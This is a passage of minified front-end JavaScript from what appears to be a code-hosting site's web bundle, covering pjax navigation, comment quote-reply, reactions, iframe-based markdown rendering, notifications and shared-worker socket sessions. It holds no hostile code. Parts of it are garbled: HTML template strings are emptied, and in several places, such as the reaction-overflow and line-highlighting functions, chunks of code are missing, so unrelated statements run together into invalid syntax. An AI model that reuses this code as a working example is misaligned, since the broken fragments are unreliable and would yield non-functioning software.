HTMLAnchorElement&&(e.currentTarget.href===(0,E._C)()?(history.back(),e.detail.relatedEvent.preventDefault(),e.preventDefault()):e.currentTarget.href===(0,E.Mw)()&&(history.forward(),e.detail.relatedEvent.preventDefault(),e.preventDefault()))});function zo(e){document.addEventListener("turbo:before-fetch-request",function(t){if(!(0,Wo.H)(t.target))return;const n=t.detail.url.href;e===n&&(t.preventDefault(),(0,Se.F2)())},{once:!0})}s(zo,"cancelNextTurboFrameFetchRequest");function Ko(e){return e.getAttribute("data-pjax-preserve-scroll")!=null?!1:0}s(Ko,"preserveScrollTo");function yn(e){let t=e;for(;t;){const n=t.getAttribute("data-pjax");if(n&&n!=="true")return document.querySelector(n);t=t.parentElement&&t.parentElement.closest("[data-pjax]")}return e.closest("[data-pjax-container]")}s(yn,"detectContainer"),(0,c.on)("click","[data-pjax] a, a[data-pjax]",function(e){const t=e.currentTarget;if(t instanceof HTMLAnchorElement){if(t.getAttribute("data-skip-pjax")!=null||t.getAttribute("data-remote")!=null)return;const n=yn(t);n&&sa(e,{container:n,scrollTo:Ko(t)})}}),(0,c.on)("change","select[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);n&&(0,W.ZP)({url:t.value,container:n})});function sa(e,t){if((0,U.c)("TURBO"))return;const n=e.currentTarget;if(e.button!==0||e.metaKey||e.ctrlKey||e.shiftKey||e.altKey||location.protocol!==n.protocol||location.hostname!==n.hostname||n.href.indexOf("#")>-1&&Vo(n)===Vo(location)||e.defaultPrevented)return;const o={url:n.href,target:n,...t},r=new CustomEvent("pjax:click",{bubbles:!0,cancelable:!0,detail:{options:o,relatedEvent:e}});n.dispatchEvent(r)&&((0,W.ZP)(o),e.preventDefault(),n.dispatchEvent(new CustomEvent("pjax:clicked",{bubbles:!0,cancelable:!0,detail:{options:o}})))}s(sa,"click");function Vo(e){return e.href.replace(/#.*/,"")}s(Vo,"stripHash"),(0,c.on)("submit","form[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);if(!n)return;const o=Ko(t),r={type:(t.method||"GET").toUpperCase(),url:t.action,target:t,scrollTo:o,container:n};if(r.type==="GET"){if(t.querySelector("input[type=file]"))return;const i=ia(r.url);i.search+=(i.search?"&":"")+(0,L.qC)(t),r.url=i.toString()}else r.data=new FormData(t);(0,W.ZP)(r),e.preventDefault()});function ia(e){const t=document.createElement("a");return t.href=e,t}s(ia,"parseURL"),(0,u.N7)("body.js-print-popup",()=>{window.print(),setTimeout(window.close,1e3)}),(0,u.N7)("poll-include-fragment[data-redirect-url]",function(e){const t=e.getAttribute("data-redirect-url");e.addEventListener("load",function(){window.location.href=t})}),(0,u.N7)("poll-include-fragment[data-reload]",function(e){e.addEventListener("load",function(){window.location.reload()})});var aa=f(97474),ca=f(92003);const la="$__",Xo=document.querySelector("meta[name=js-proxy-site-detection-payload]"),Go=document.querySelector("meta[name=expected-hostname]");if(Xo instanceof HTMLMetaElement&&Go instanceof HTMLMetaElement&&(0,aa.Z)(document)){const e={url:window.location.href,expectedHostname:Go.content,documentHostname:document.location.hostname,proxyPayload:Xo.content},t=new Error,n={};n[`${la}`]=btoa(JSON.stringify(e)),(0,ca.eK)(t,n)}(0,j.w4)("keydown",".js-quick-submit",function(e){ua(e)});function ua(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.key==="Enter"){const n=t.form,o=n.querySelector("input[type=submit], button[type=submit]");if(e.shiftKey){const r=n.querySelector(".js-quick-submit-alternative");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&!r.disabled&&(0,L.Bt)(n,r)}else(o instanceof HTMLInputElement||o instanceof HTMLButtonElement)&&o.disabled||(0,L.Bt)(n);e.preventDefault()}}s(ua,"quickSubmit");var Zo=f(55498);let bt;(0,u.N7)(".js-comment-quote-reply",function(e){var t;e.hidden=((t=e.closest(".js-quote-selection-container"))==null?void 0:t.querySelector(".js-inline-comment-form-container textarea, .js-new-comment-form textarea"))==null});function Jo(e){return e.nodeName==="DIV"&&e.classList.contains("highlight")}s(Jo,"isHighlightContainer");function da(e){return e.nodeName==="IMG"||e.firstChild!=null}s(da,"hasContent");const Qo={PRE(e){const t=e.parentElement;if(t&&Jo(t)){const n=t.className.match(/highlight-source-(\S+)/),o=n?n[1]:"",r=(e.textContent||"").replace(/\n+$/,"");e.textContent=`\`\`\`${o} +${r} +\`\`\``,e.append(` + +`)}return e},A(e){const t=e.textContent||"";return e.classList.contains("user-mention")||e.classList.contains("team-mention")||e.classList.contains("issue-link")&&/^#\d+$/.test(t)?t:e},IMG(e){const t=e.getAttribute("alt");return t&&e.classList.contains("emoji")?t:e},DIV(e){if(e.classList.contains("js-suggested-changes-blob"))e.remove();else if(e.classList.contains("blob-wrapper-embedded")){const t=e.parentElement,n=t.querySelector("a[href]"),o=document.createElement("p");o.textContent=n.href,t.replaceWith(o)}return e}};function fa(e){const t=document.createNodeIterator(e,NodeFilter.SHOW_ELEMENT,{acceptNode(r){return r.nodeName in Qo&&da(r)?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),n=[];let o=t.nextNode();for(;o;)o instanceof HTMLElement&&n.push(o),o=t.nextNode();n.reverse();for(const r of n)r.replaceWith(Qo[r.nodeName](r))}s(fa,"insertMarkdownSyntax"),(0,c.on)("click",".js-comment-quote-reply",function({isTrusted:e,currentTarget:t}){const n=t.closest(".js-comment"),o=n.querySelector(".js-comment-body"),r=n.querySelector(".js-comment-body").cloneNode(!0),i=n.closest(".js-quote-selection-container"),a=o.querySelectorAll("button.js-convert-to-issue-button, span.js-clear");for(const w of a)w.remove();let l=new Zo.p;if(!e&&l.range.collapsed||(i.hasAttribute("data-quote-markdown")&&(l=new Zo.I(i.getAttribute("data-quote-markdown")||"",w=>{const S=l.range.startContainer.parentElement,R=S&&S.closest("pre");if(R instanceof HTMLElement){const I=R.parentElement;if(I&&Jo(I)){const F=document.createElement("div");F.className=I.className,F.appendChild(w),w.appendChild(F)}}fa(w)})),bt&&o.contains(bt.anchorNode)?l.range=bt.range:l.range.collapsed&&l.select(o),l.closest(".js-quote-selection-container")!==i))return;const y=l.range;i.dispatchEvent(new CustomEvent("quote-selection",{bubbles:!0,detail:l})),l.range=y;for(const w of i.querySelectorAll("textarea"))if((0,le.Z)(w)){l.insert(w);break}n.querySelector(".js-comment-body").replaceWith(r)});let vn;document.addEventListener("selectionchange",(0,P.D)(function(){const e=window.getSelection();let t;try{t=e.getRangeAt(0)}catch{vn=null;return}vn={anchorNode:e.anchorNode,range:t}},100)),document.addEventListener("toggle",()=>{bt=vn},{capture:!0});const ma=new ResizeObserver(e=>{for(const t of e)t.contentRect.height>26&&ha(t.target)});(0,u.N7)(".js-reactions-container",function(e){ma.observe(e)});function ha(e){const t=e.offsetWidth*.8,n=e.querySelectorAll(".js-reaction-group-button"),o=e.querySelector(".js-all-reactions-popover");let r=0;for(const i of n)r+=i.clientWidth;if(r+=(o==null?void 0:o.clientWidth)||0,ti?a.setAttribute("hidden","hidden"):a.removeAttribute("hidden"),i-=l}}}s(ha,"hideReactionOverflow"),(0,C.AC)(".js-pick-reaction",async function(e,t){const n=await t.json(),o=e.closest(".js-comment"),r=o.querySelector(".js-reactions-container"),i=o.querySelector(".js-comment-header-reaction-button"),a=(0,q.r)(document,n.json.reactions_container.trim()),l=(0,q.r)(document,n.json.comment_header_reaction_button.trim());r.replaceWith(a),i.replaceWith(l)});function Yo(e){const t=e.target,n=t.getAttribute("data-reaction-label"),r=t.closest(".js-add-reaction-popover").querySelector(".js-reaction-description");r.hasAttribute("data-default-text")||r.setAttribute("data-default-text",r.textContent||""),r.textContent=n}s(Yo,"showReactionContent");function er(e){const n=e.target.closest(".js-add-reaction-popover").querySelector(".js-reaction-description"),o=n.getAttribute("data-default-text");o&&(n.textContent=o)}s(er,"hideReactionContent"),(0,c.on)("toggle",".js-reaction-popover-container",function(e){const t=e.currentTarget.hasAttribute("open");for(const n of e.target.querySelectorAll(".js-reaction-option-item"))t?(n.addEventListener("mouseenter",Yo),n.addEventListener("mouseleave",er)):(n.removeEventListener("mouseenter",Yo),n.removeEventListener("mouseleave",er))},{capture:!0});var wn=f(2061);function pa(e,t,n){e.getAttribute("data-type")==="json"&&n.headers.set("Accept","application/json"),(0,c.f)(e,"deprecatedAjaxSend",{request:n}),t.text().catch(r=>{if(r.response)return r.response;throw r}).then(r=>{r.status<300?(0,c.f)(e,"deprecatedAjaxSuccess"):(0,c.f)(e,"deprecatedAjaxError",{error:r.statusText,status:r.status,text:r.text})},r=>{(0,c.f)(e,"deprecatedAjaxError",{error:r.message,status:0,text:null})}).then(()=>{(0,c.f)(e,"deprecatedAjaxComplete")})}s(pa,"submitWithLegacyEvents"),(0,c.on)("click",["form button:not([type])","form button[type=submit]","form input[type=submit]"].join(", "),function(e){const t=e.currentTarget;t.form&&!e.defaultPrevented&&(0,wn.j)(t)}),(0,C.AC)("form[data-remote]",pa),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e}){const t=(0,wn.u)(e);t&&t.remove()}),(0,C.uT)(e=>{const t=(0,wn.u)(e);t&&t.remove()}),(0,C.rK)(en.Z),(0,u.N7)(".has-removed-contents",function(){let e;return{add(t){e=Array.from(t.childNodes);for(const o of e)t.removeChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")},remove(t){for(const o of e)t.appendChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")}}});var fe=f(36162),ga=(e=>(e.Auto="auto",e.Light="light",e.Dark="dark",e))(ga||{});function ba(){return window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"}s(ba,"getUserSystemColorMode");const En=".js-render-plaintext";function ya(e){const t=e.closest(".js-render-needs-enrichment");if(!t)return;t.querySelector(En)&&Ln(t,!1)}s(ya,"markdownEnrichmentSuccess");function va(e,t){Ln(e,!1),tr(e,!0),e.classList.add("render-error");const n=e.querySelector(En);if(!n)return;n.classList.remove("render-plaintext-hidden");const o=n.querySelector("pre");(0,fe.sY)(fe.dy`${t} ${o}`,n)}s(va,"showMarkdownRenderError");function Ln(e,t){const n=e.getElementsByClassName("js-render-enrichment-loader")[0],o=e.getElementsByClassName("render-expand")[0];n&&(n.hidden=!t),o&&(o.hidden=t)}s(Ln,"setCodeBlockLoaderVisibility");function tr(e,t){const n=e.querySelector(En);t?n.classList.remove("render-plaintext-hidden"):n.classList.add("render-plaintext-hidden")}s(tr,"setRawCodeBlockVisibility");class nr{constructor(t){this.el=t,this.enrichmentTarget=t.getElementsByClassName("js-render-enrichment-target")[0],this.iframeUrl=this.getIframeUrl(),this.identifier=this.el.getAttribute("data-identity"),this.iframeContentType=this.el.getAttribute("data-type"),this.iframeOrigin=new URL(this.iframeUrl,window.location.origin).origin,this.iframeContent=this.el.getAttribute("data-content"),Ln(this.el,!0)}enrich(){const t=this.createDialog();(0,fe.sY)(t,this.enrichmentTarget),this.setupModal()}getIframeUrl(){const t=(0,U.c)("GEOJSON_AZURE_MAPS"),n=this.el.getAttribute("data-src"),o=this.el.getAttribute("data-enterprise"),r={...this.colorMode(),azure_maps_enabled:t,enterprise_enable:o},i=Object.entries(r).map(([a,l])=>`${a}=${l}`).join("&");return`${n}?${i}`}colorMode(){var t;let n=(t=document.querySelector("html"))==null?void 0:t.getAttribute("data-color-mode");return(n==="auto"||!n)&&(n=ba()),{color_mode:n}}setupModal(){const t=this.generateIframeCode("-fullscreen"),n=this.el.querySelector(".Box-body");this.el.querySelector(".js-full-screen-render").addEventListener("click",()=>{(0,fe.sY)(t,n)})}createDialog(){const t=this.generateIframeCode();return fe.dy`
    +
    + + +
    + +
    +
    +
    +
    + ${t} +
    `}generateIframeCode(t=""){const n=this.identifier+t,o=`${this.iframeUrl}#${n}`;return fe.dy` +
    + +
    + `}}s(nr,"EnrichableMarkdownRenderer"),(0,u.N7)(".js-render-needs-enrichment",function(e){const t=e;new nr(t).enrich()}),(0,c.on)("preview:toggle:off",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment"),o=n==null?void 0:n.querySelector(".js-render-enrichment-target");!o||(o.innerHTML="")}),(0,c.on)("preview:rendered",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment");n&&tr(n,!1)});const cu=null,yt=["is-render-pending","is-render-ready","is-render-loading","is-render-loaded"],wa=["is-render-ready","is-render-loading","is-render-loaded","is-render-failed","is-render-failed-fatally"],Ue=new WeakMap;function or(e){const t=Ue.get(e);t!=null&&(t.load=t.hello=null,t.helloTimer&&(clearTimeout(t.helloTimer),t.helloTimer=null),t.loadTimer&&(clearTimeout(t.loadTimer),t.loadTimer=null))}s(or,"resetTiming");function Je(e,t=""){var n;e.classList.remove(...yt),e.classList.add("is-render-failed");const o=La(t),r=(n=e.parentElement)==null?void 0:n.closest(".js-render-needs-enrichment");r?va(r,o):Ea(e,o),or(e)}s(Je,"renderFailed");function Ea(e,t){const n=e.querySelector(".render-viewer-error");n&&(n.remove(),e.classList.remove("render-container"),(0,fe.sY)(t,e))}s(Ea,"fileRenderError");function La(e){let t=fe.dy`

    Unable to render code block

    `;if(e!==""){const n=e.split(` +`);t=fe.dy`

    Error rendering embedded code

    +

    ${n.map(o=>fe.dy`${o}
    `)}

    `}return fe.dy`
    ${t}
    `}s(La,"renderError");function rr(e,t=!1){var n;!(0,le.Z)(e)||e.classList.contains("is-render-ready")||e.classList.contains("is-render-failed")||e.classList.contains("is-render-failed-fatally")||t&&!((n=Ue.get(e))==null?void 0:n.hello)||Je(e)}s(rr,"timeoutWatchdog"),(0,u.N7)(".js-render-target",function(e){var t;const n=e;n.classList.remove(...wa),n.style.height="auto",!((t=Ue.get(e))==null?void 0:t.load)&&(or(e),!Ue.get(e)&&(Ue.set(e,{load:Date.now(),hello:null,helloTimer:window.setTimeout(rr,1e4,e,!0),loadTimer:window.setTimeout(rr,45e3,e)}),e.classList.add("is-render-automatic","is-render-requested")))});function vt(e,t){e&&e.postMessage&&e.postMessage(JSON.stringify(t),"*")}s(vt,"postAsJson");function ja(e){let t=e.data;if(!t)return;if(typeof t=="string")try{t=JSON.parse(t)}catch{return}if(t.type!=="render"||typeof t.identity!="string")return;const n=t.identity;if(typeof t.body!="string")return;const o=t.body;let r=null;for(const w of document.querySelectorAll(".js-render-target"))if(w.getAttribute("data-identity")===n){r=w;break}if(!r||e.origin!==r.getAttribute("data-host"))return;const i=t.payload!=null?t.payload:void 0,a=r.querySelector("iframe"),l=a==null?void 0:a.contentWindow;function y(){const w=a==null?void 0:a.getAttribute("data-content");if(!w)return;const S={type:"render:cmd",body:{cmd:"code_rendering_service:data:ready","code_rendering_service:data:ready":{data:JSON.parse(w).data,width:r==null?void 0:r.getBoundingClientRect().width}}};vt(l,S)}switch(s(y,"postData"),o){case"hello":{const w=Ue.get(r)||{untimed:!0};w.hello=Date.now();const S={type:"render:cmd",body:{cmd:"ack",ack:!0}},R={type:"render:cmd",body:{cmd:"branding",branding:!1}};if(!l)return;vt(l,S),vt(l,R)}break;case"error":i?Je(r,i.error):Je(r);break;case"error:fatal":{Je(r),r.classList.add("is-render-failed-fatal");break}case"error:invalid":Je(r),r.classList.add("is-render-failed-invalid");break;case"loading":r.classList.remove(...yt),r.classList.add("is-render-loading");break;case"loaded":r.classList.remove(...yt),r.classList.add("is-render-loaded");break;case"ready":ya(r),r.classList.remove(...yt),r.classList.add("is-render-ready"),i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`,location.hash!==""&&window.dispatchEvent(new HashChangeEvent("hashchange")));break;case"resize":i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`);break;case"code_rendering_service:container:get_size":vt(l,{type:"render:cmd",body:{cmd:"code_rendering_service:container:size","code_rendering_service:container:size":{width:r==null?void 0:r.getBoundingClientRect().width}}});break;case"code_rendering_service:markdown:get_data":if(!l)return;y();break;default:break}}s(ja,"handleMessage"),window.addEventListener("message",ja),(0,C.AC)("form[data-replace-remote-form]",async function(e,t){e.classList.remove("is-error"),e.classList.add("is-loading");try{let n=e;const o=await t.html(),r=e.closest("[data-replace-remote-form-target]");if(r){const i=r.getAttribute("data-replace-remote-form-target");n=i?document.getElementById(i):r}n.replaceWith(o.html)}catch{e.classList.remove("is-loading"),e.classList.add("is-error")}}),PerformanceObserver&&(PerformanceObserver.supportedEntryTypes||[]).includes("longtask")&&new PerformanceObserver(function(t){const n=t.getEntries().map(({name:o,duration:r})=>({name:o,duration:r,url:window.location.href}));(0,he.b)({longTasks:n})}).observe({entryTypes:["longtask"]});const sr=new WeakMap;function Sa(e){return e.closest("markdown-toolbar").field}s(Sa,"getTextarea"),(0,c.on)("click",".js-markdown-link-button",async function({currentTarget:e}){const n=document.querySelector(".js-markdown-link-dialog").content.cloneNode(!0);if(!(n instanceof DocumentFragment))return;const o=await(0,Te.W)({content:n,labelledBy:"box-title"});e instanceof HTMLElement&&sr.set(o,Sa(e).selectionEnd)}),(0,c.on)("click",".js-markdown-link-insert",({currentTarget:e})=>{const t=e.closest("details-dialog"),n=document.querySelector(`#${e.getAttribute("data-for-textarea")}`),o=sr.get(t)||0,r=t.querySelector("#js-dialog-link-href").value,a=`[${t.querySelector("#js-dialog-link-text").value}](${r}) `,l=n.value.slice(0,o),y=n.value.slice(o);n.value=l+a+y,n.focus(),n.selectionStart=n.selectionEnd=o+a.length});var lu=f(17300);(0,c.on)("details-menu-select",".js-saved-reply-menu",function(e){if(!(e.target instanceof Element))return;const t=e.detail.relatedTarget.querySelector(".js-saved-reply-body");if(!t)return;const n=(t.textContent||"").trim(),r=e.target.closest(".js-previewable-comment-form").querySelector("textarea.js-comment-field");(0,Ee.Om)(r,n),setTimeout(()=>r.focus(),0)},{capture:!0}),(0,j.w4)("keydown",".js-saved-reply-shortcut-comment-field",function(e){(0,$e.EL)(e)==="Control+."&&(e.target.closest(".js-previewable-comment-form").querySelector(".js-saved-reply-container").setAttribute("open",""),e.preventDefault())}),(0,j.w4)("keydown",".js-saved-reply-filter-input",function(e){if(/^Control\+[1-9]$/.test((0,$e.EL)(e))){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]'),o=Number(e.key),r=n[o-1];r instanceof HTMLElement&&(r.click(),e.preventDefault())}else if(e.key==="Enter"){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]');n.length>0&&n[0]instanceof HTMLButtonElement&&n[0].click(),e.preventDefault()}});var Ta=f(29790),Aa=f(19218);function Ca(e,t){return e.querySelector(`#LC${t}`)}s(Ca,"queryLineElement");function wt(e,t,n,o){const r=(0,Ta.M9)(e,l=>Ca(t,l));if(!r)return;if(n){const l=(0,Ee.yb)(r.startContainer.textContent,r.startOffset);if(l===-1)return;r.setStart(r.startContainer,l)}if(o){const l=(0,Ee.yb)(r.endContainer.textContent,r.endOffset);if(l===-1)return;r.setEnd(r.endContainer,l)}const i=document.createElement("span"),a=["text-bold","hx_keyword-hl","rounded-2","d-inline-block"];i.classList.add(...a),(0,Aa.v)(r,i)}s(wt,"highlightRange");function ka(e,t){if(e.start.line!==e.end.line){const n={start:{line:e.start.line,column:e.start.column},end:{line:e.start.line,column:null}};wt(n,t,!0,!1);for(let r=e.start.line+1;r=0;o?n.setAttribute("aria-current","page"):n.removeAttribute("aria-current"),n.classList.toggle("selected",o)}}s(jn,"updateSelectedRepoTab"),document.addEventListener("pjax:end",jn),document.addEventListener(Se.QE.FRAME_UPDATE,jn),document.addEventListener(Se.QE.SUCCESS,jn);var ir=f(11190),Ra=f(27034),_a=f(32904);async function Pa(){return(0,C.AC)(".js-notification-shelf .js-notification-action form",async function(e,t){if(e.hasAttribute("data-redirect-to-inbox-on-submit")){await ar(t);const o=document.querySelector(".js-notifications-back-to-inbox");o&&o.click();return}(0,_a.a)(e,e),await ar(t)})}s(Pa,"remoteShelfActionForm");function Ia(){const e=new URLSearchParams(window.location.search),t=(0,ir.n)(e);if(t){const n=new URL(window.location.href,window.location.origin);return n.search=t.toString(),n.toString()}}s(Ia,"urlWithoutNotificationParameters");function Da(e){if(!(e instanceof Ra.Z))return;const t=(0,ir.I)();if(!t)return;const n=e.getAttribute("data-base-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search);for(const[i,a]of Object.entries(t))typeof a=="string"&&r.set(i,a);o.search=r.toString(),e.setAttribute("src",o.toString())}s(Da,"loadShelfFromStoredParams");async function ar(e){try{await e.text()}catch{}}s(ar,"performRequest"),Pa();function cr(){const e=Ia();e&&(0,E.lO)(null,"",e)}s(cr,"removeNotificationParams"),cr(),document.addEventListener(Se.QE.SUCCESS,cr),(0,u.N7)(".js-notification-shelf-include-fragment",Da),(0,c.on)("submit",".js-mark-notification-form",async function(e){const t=e.currentTarget;e.preventDefault();try{await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}});async function lr(){await me.C;const e=document.querySelector(".js-mark-notification-form");e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(lr,"markNotificationAsRead"),document.addEventListener(Se.QE.SUCCESS,lr),lr();function Ha(e){return!!e.closest(".js-jump-to-field")}s(Ha,"isJumpToAvailable");function Sn(e,t){if(Ha(e))return;const n=document.querySelector(".js-site-search-form");document.querySelector(".js-site-search").classList.toggle("scoped-search",t);let o,r;t?(o=n.getAttribute("data-scoped-search-url"),r=e.getAttribute("data-scoped-placeholder")):(o=n.getAttribute("data-unscoped-search-url"),r=e.getAttribute("data-unscoped-placeholder")),n.setAttribute("action",o),e.setAttribute("placeholder",r)}s(Sn,"toggleSearchScope"),(0,j.w4)("keyup",".js-site-search-field",function(e){const t=e.target,n=t.value.length===0;n&&e.key==="Backspace"&&t.classList.contains("is-clearable")&&Sn(t,!1),n&&e.key==="Escape"&&Sn(t,!0),t.classList.toggle("is-clearable",n)}),(0,j.ZG)(".js-site-search-focus",function(e){const t=e.closest(".js-chromeless-input-container");t.classList.add("focus");function n(){t.classList.remove("focus"),e.value.length===0&&e.classList.contains("js-site-search-field")&&Sn(e,!0),e.removeEventListener("blur",n)}s(n,"blurHandler"),e.addEventListener("blur",n)}),(0,c.on)("submit",".js-site-search-form",function(e){if(!(e.target instanceof Element))return;const t=e.target.querySelector(".js-site-search-type-field");t.value=new URLSearchParams(window.location.search).get("type")||""});var Oa=f(54430);(0,u.N7)("textarea.js-size-to-fit",{constructor:HTMLTextAreaElement,subscribe:Oa.Z});var Tn=f(61161);(0,c.on)("click",".js-smoothscroll-anchor",function(e){const t=e.currentTarget;if(!(t instanceof HTMLAnchorElement))return;const n=(0,Tn.Kt)(document,t.hash);!n||(n.focus(),n.scrollIntoView({behavior:"smooth"}),e.preventDefault())});const Na=1e3,ur=new WeakMap,dr=document.querySelector("#snippet-clipboard-copy-button");async function Ba(e,t){const n=e.getAttribute("data-snippet-clipboard-copy-content");if(n===null||(e.removeAttribute("data-snippet-clipboard-copy-content"),!(dr instanceof HTMLTemplateElement)))return;const r=dr.content.cloneNode(!0).children[0];if(!(r instanceof HTMLElement))return;const i=r.children[0];if(!(i instanceof HTMLElement))return;i.setAttribute("value",n),document.addEventListener("selectionchange",()=>{const l=document.getSelection();if(l&&e.contains(l.anchorNode)){const y=l==null?void 0:l.toString();i.style.display=y.trim()===""?"inherit":"none"}},{signal:t});const a=e.querySelector("pre");if(a!==null){let l;a.addEventListener("scroll",()=>{l&&clearTimeout(l),i.style.display="none",l=setTimeout(()=>{i.style.display="inherit"},Na)},{signal:t})}e.appendChild(r)}s(Ba,"insertSnippetClipboardCopyButton"),(0,u.N7)("[data-snippet-clipboard-copy-content]",{constructor:HTMLElement,add(e){if(e.parentElement&&e.parentElement.classList.contains("js-no-snippet-clipboard-copy"))return;const t=new AbortController;ur.set(e,t),Ba(e,t.signal)}}),(0,u.N7)(".snippet-clipboard-content clipboard-copy",{constructor:HTMLElement,remove(e){const t=ur.get(e);t&&t.abort()}});function fr(e,t,n){mr(e,t),n&&e.classList.toggle("on");const o=Array.from(e.querySelectorAll(".js-social-updatable"),Me.x0);return Promise.all(o)}s(fr,"handleSocialResponse"),(0,C.AC)(".js-social-form",async function(e,t){var n,o;let r;const i=e.closest(".js-social-container"),a=e.classList.contains("js-deferred-toggler-target");try{r=await t.json(),i&&await fr(i,r.json.count,a)}catch(l){if(((n=l.response)==null?void 0:n.status)===409&&l.response.json.confirmationDialog){const y=l.response.json.confirmationDialog,w=document.querySelector(y.templateSelector),S=(o=e.querySelector(".js-confirm-csrf-token"))==null?void 0:o.value;if(w instanceof HTMLTemplateElement&&S){const R=new lt.R(w,{confirmUrl:e.action,confirmCsrfToken:S,...y.inputs||{}}),I=await(0,Te.W)({content:R});I.addEventListener("social-confirmation-form:success",async F=>{F instanceof CustomEvent&&i&&await fr(i,F.detail.count,a)}),I.addEventListener("social-confirmation-form:error",()=>{(0,T.v)()})}}else i&&!a&&i.classList.toggle("on"),(0,T.v)()}}),(0,C.AC)(".js-social-confirmation-form",async function(e,t){try{const n=await t.json();(0,c.f)(e,"social-confirmation-form:success",n.json)}catch{(0,c.f)(e,"social-confirmation-form:error")}});function mr(e,t){for(const n of e.querySelectorAll(".js-social-count")){n.textContent=t;const o=n.getAttribute("data-singular-suffix"),r=n.getAttribute("data-plural-suffix"),i=t==="1"?o:r;i&&n.setAttribute("aria-label",`${t} ${i}`)}}s(mr,"updateSocialCounts");var _e=f(21461);class hr extends _e.a2{constructor(t,n,o,r){super(t,()=>this.getUrlFromRefreshUrl(),o,r);this.refreshUrl=n}getUrlFromRefreshUrl(){return $a(this.refreshUrl)}}s(hr,"AliveSession");async function $a(e){const t=await Fa(e);return t&&t.url&&t.token?Ua(t.url,t.token):null}s($a,"fetchRefreshUrl");async function Fa(e){const t=await fetch(e,{headers:{Accept:"application/json"}});if(t.ok)return t.json();if(t.status===404)return null;throw new Error("fetch error")}s(Fa,"fetchJSON");async function Ua(e,t){const n=await fetch(e,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}});if(n.ok)return n.text();throw new Error("fetch error")}s(Ua,"post");const Et=[],Wa=3e4,za=0;let Lt=document.hidden,jt;function Ka(e){return e(Lt),Et.push(e),new M.w0(()=>{const t=Et.indexOf(e);t!==-1&&Et.splice(t,1)})}s(Ka,"addIdleStateListener"),document.addEventListener("visibilitychange",()=>{const e=document.hidden;jt!==void 0&&clearTimeout(jt),jt=setTimeout(()=>{if(e!==Lt){Lt=e,jt=void 0;for(const n of Et)n(Lt)}},e?Wa:za)});function Va(){return"SharedWorker"in window&&(0,$o.Z)("localStorage").getItem("bypassSharedWorker")!=="true"}s(Va,"isSharedWorkerSupported");function Xa(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket-src]"))==null?void 0:e.href)!=null?t:null}s(Xa,"workerSrc");function Ga(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.href)!=null?t:null}s(Ga,"socketUrl");function Za(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-refresh-url"))!=null?t:null}s(Za,"socketRefreshUrl");function Ja(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-session-id"))!=null?t:null}s(Ja,"sessionIdentifier");function Qa(e){return pr(e).map(t=>({subscriber:e,topic:t}))}s(Qa,"subscriptions");function pr(e){return(e.getAttribute("data-channel")||"").trim().split(/\s+/).map(_e.Zf.parse).filter(Ya)}s(pr,"channels");function Ya(e){return e!=null}s(Ya,"isPresent");function gr(e,{channel:t,type:n,data:o}){for(const r of e)r.dispatchEvent(new CustomEvent(`socket:${n}`,{bubbles:!1,cancelable:!1,detail:{name:t,data:o}}))}s(gr,"notify");class br{constructor(t,n,o,r,i){this.subscriptions=new _e.vk,this.presenceMetadata=new _e.ah,this.notifyPresenceDebouncedByChannel=new Map,this.notify=i,this.worker=new SharedWorker(t,`github-socket-worker-v2-${r}`),this.worker.port.onmessage=({data:a})=>this.receive(a),this.worker.port.postMessage({connect:{url:n,refreshUrl:o}})}subscribe(t){const n=this.subscriptions.add(...t);n.length&&this.worker.port.postMessage({subscribe:n});const o=new Set(n.map(i=>i.name)),r=t.reduce((i,a)=>{const l=a.topic.name;return(0,_e.A)(l)&&!o.has(l)&&i.add(l),i},new Set);r.size&&this.worker.port.postMessage({requestPresence:Array.from(r)})}unsubscribeAll(...t){const n=this.subscriptions.drain(...t);n.length&&this.worker.port.postMessage({unsubscribe:n});const o=this.presenceMetadata.removeSubscribers(t);this.sendPresenceMetadataUpdate(o)}updatePresenceMetadata(t){const n=new Set;for(const o of t)this.presenceMetadata.setMetadata(o),n.add(o.channelName);this.sendPresenceMetadataUpdate(n)}sendPresenceMetadataUpdate(t){if(!t.size)return;const n=[];for(const o of t)n.push({channelName:o,metadata:this.presenceMetadata.getChannelMetadata(o)});this.worker.port.postMessage({updatePresenceMetadata:n})}online(){this.worker.port.postMessage({online:!0})}offline(){this.worker.port.postMessage({online:!1})}hangup(){this.worker.port.postMessage({hangup:!0})}receive(t){const{channel:n}=t;if(t.type==="presence"){let o=this.notifyPresenceDebouncedByChannel.get(n);o||(o=(0,P.D)((r,i)=>{this.notify(r,i),this.notifyPresenceDebouncedByChannel.delete(n)},100),this.notifyPresenceDebouncedByChannel.set(n,o)),o(this.subscriptions.subscribers(n),t);return}this.notify(this.subscriptions.subscribers(n),t)}}s(br,"AliveSessionProxy");function ec(){const e=Xa();if(!e)return;const t=Ga();if(!t)return;const n=Za();if(!n)return;const o=Ja();if(!o)return;const i=s(()=>{if(Va())try{return new br(e,t,n,o,gr)}catch{}return new 